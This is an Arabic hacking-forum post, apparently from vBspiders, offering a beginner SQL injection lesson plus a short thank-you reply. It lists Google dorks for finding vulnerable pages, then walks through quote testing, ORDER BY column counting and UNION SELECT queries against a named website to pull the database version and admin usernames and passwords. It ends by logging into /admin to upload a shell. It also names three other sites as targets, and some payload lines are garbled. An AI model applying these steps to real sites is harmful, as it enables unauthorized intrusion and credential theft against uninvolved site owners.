[ الدرس الآول ] شرح بالفيديو + بالتفصيل = ثغرة SQL Injection [ للمبتدئين ] ..

[KiLLer HaCkEr]

بسم الله الرحمن الرحيــم ..،،

عدنآ إليكم .. بعد غيبآت طويله ..،،

والمعذرهـ للكل .. !~

اليوم وانا جآلس وطفشآن ... وقلت خلينآ نسوي خير .. ^)^ .. وفكرت في الشيء هذآ .. ونزلت لكم درس من ثغرة SqL لعيون المبتدئين ..

اليوم بشرح لكم شرح كتآبي .. + ... شرح بالفيديو ...

.........................................

اولاً ..:/ نبتدىء في الكتآبي ..

وهذآ الملف فيهآ اوامر اكواد او ثغرآت لتحقن الموقع .. مسآعده مني لكم .. يآلبى قلوبكم

آضغط على آسمي ..

~::: [ bO N4sSeR ] :::~

-----------------

اولا .. عندك هذآ الآكواد لبحث المواقع المصآبه بالثغره ..

كود PHP:
allinanchor: article.php?id=
allinanchor: index.php?id=
allinanchor: news_view.php?id=

فمثلاً .. نفرض هذآ الكود ..

allinanchor: news_view.php?id=

نبحثه في قوقل ..

هكذآ يصير ..

كود PHP:
http://www.google.com.sa/search?hl=ar&q=allinanchor%3A+news_view.php%3Fid%3 D+&btnG=%D8%A8%D8%AD%D8%AB+Google%E2%80%8F&****=& a q=f&oq=

ويوجد عدة مواقع كثيره منهآ مصابه ومنهآ غير مصآبه ..

كيف نعرف ان المواقع مصآبه آو غير مصآبه .. ؟

نذهب نختآر اي موقع من المواقع التي ضهرت في قوقل

نفترض هذآ الموقع ..

كود PHP:
http://www.walnutacres.com/news_view.php?id=14

كيف نعرف انها مصابه او لا .. ؟

نغير في الرآبط نضيف عليهآ هذآ الرمز علامة التنصيص ( ' )

فيصبح الرآبط هكذآ ..

كود PHP:
http://www.walnutacres.com/news_view.php?id=14'

فضهرت الصفحه مختلفه عن الآول .. / إذاً الموقع مصآب .. وإذا لم يختلف بشيء .. الموقع سليم من الثغره sql

انا عندي الموقع ظهرت مختلفه .. إذا الموقع مصآب بالثغره

فمآذآ نفعل ..؟

نضيف عليهآ هذآ الكود .. آمرين فقط .. ونعرف مسآر هذي اللوحه ..

كود PHP:
+order+by+2

فيصبح الرآبط هكذآ ..

كود PHP:
http://www.walnutacres.com/news_view.php?id=14+order+by+2

إذن لن ظهر الجداول او الاعمده لكي اعرف اي مسآر اليوزر والبآسورد آو بمى يسمى القواعد البيانات ..

بنغير رقم 2 إلى رقم 1 وإذا لم تظهر نغير من رقم 1 إلى 3 .... إلخ وهكذآ .. لمآ يطلع الصفحه القواعد مكان اليوزر يعني ..

انا ظهرت عندي هكذآ ..

كود PHP:
http://www.walnutacres.com/news_view.php?id=14+order+by+4

رقم 4

كيف نطلع اليوزر والبآسورد من هذآ التعقد .. ؟ مآذا نفعل ..؟

نبدل الآكواد التي اضعناها هنآ order+by <- نضع بدآلهآ هكذا +union+select

وثم يصبح الرابط هكذآ ..

كود PHP:
http://www.walnutacres.com/news_view.php?id=-14+union+select+1,2,3

ولن تنسى الاشاره السالبه بعد كلمة id = - (الرقم ) هكذآ ..

ومن ثم نضيف عليهآ ثغره للإستخراج اسم القاعده واصدآرهآ ..

كود PHP:
unhex(hex(concat(database(),0x3a,version(),0x3a,user()))

فيصبح هكذآ ..

كود PHP:
http://www.walnutacres.com/news_view.php?id=-14+union+select+unhex(hex(pass)),2,3+from+users

فيصبح المسآر على رقم 1 اسم القاعده واصدآرهآ

والآن نبي نطلع اليوزر والباسورد اللوحة التحكم تبع الموقع ..

نضيف عليهآ ايضاً ثغره او كود ..

لكي يستخرج لنآ اليوزر والباسورد .. هكذا ..

طبعاً هذا اليوزر
كود PHP:
unhex(hex(user))

وهذا الباسورد
كود PHP:
unhex(hex(pass))

فنضع رقم 1 اليوزر ورقم 2 الباسورد

فيصبح الرابط هكذآ ..

كود PHP:
http://www.walnutacres.com/news_view.php?id=-14+union+select+unhex(hex(user)),unhex(hex(user)), 3+from+users

ومن ثم تذهب إلى لوحة الادآره هكذآ ..

www.walnutacres.com/admin

فيصبح دخولك إلى لوحة التحكم وثم ارفع الشل وخلاص ومبروك الدعس .. ^)^

للآنه اغلبيه اللوحه التحكم بيكون هذآ المسآر .. بعد com/admin وانتهينآ ..

وعندي لكم مفآجئه ..

هذي هدآيه مني لكم ..

كود PHP:
www.wyevalleybrewery.co.uk/news_view.php?id=176

&

كود PHP:
www.mondopop.it/news_view.php?id=29

&

كود PHP:
www.sdlpyouth.com/news_view.php?id=101

يالله تمتعوا بالآختراق ..

-----------------------------------------------------------------------------

وثآنــيــاً .. / شــرح بالفيديو ..

حبيت اوضحلكم تطبيق بالفيديو مفصل مثل ماشرحنآ لكم بالكتآبه ...

[ والمقطع يطول اشوي للآنه شآرحه بالتفصيل ]

آضغط على آسمي ..

~::: [ bO N4sSer ] :::~

وإن شاء الله بتكون الدرس مفهوووم ..

ويآليت كل واحد منكم الدعآء لي ولوالدي ..

وبالتوفيق حآيبي ..

وآي استفسآر انا حآظر ..

احترامي لكم ..:

بــــونآصـــر

KiLLer HaCkEr

-----------------------------------------------------------------------

طبعاً إهدآء خآص

إلى العنآكب وآعضآءهـ ..

المصدر: :: vBspiders Professional Network ::

---

F hg]vs hgN,g D avp fhgtd]d, + fhgjtwdg = eyvm SQL Injection gglfj]zdk

[zooro144]

مشكووررر ع الشرح الوافي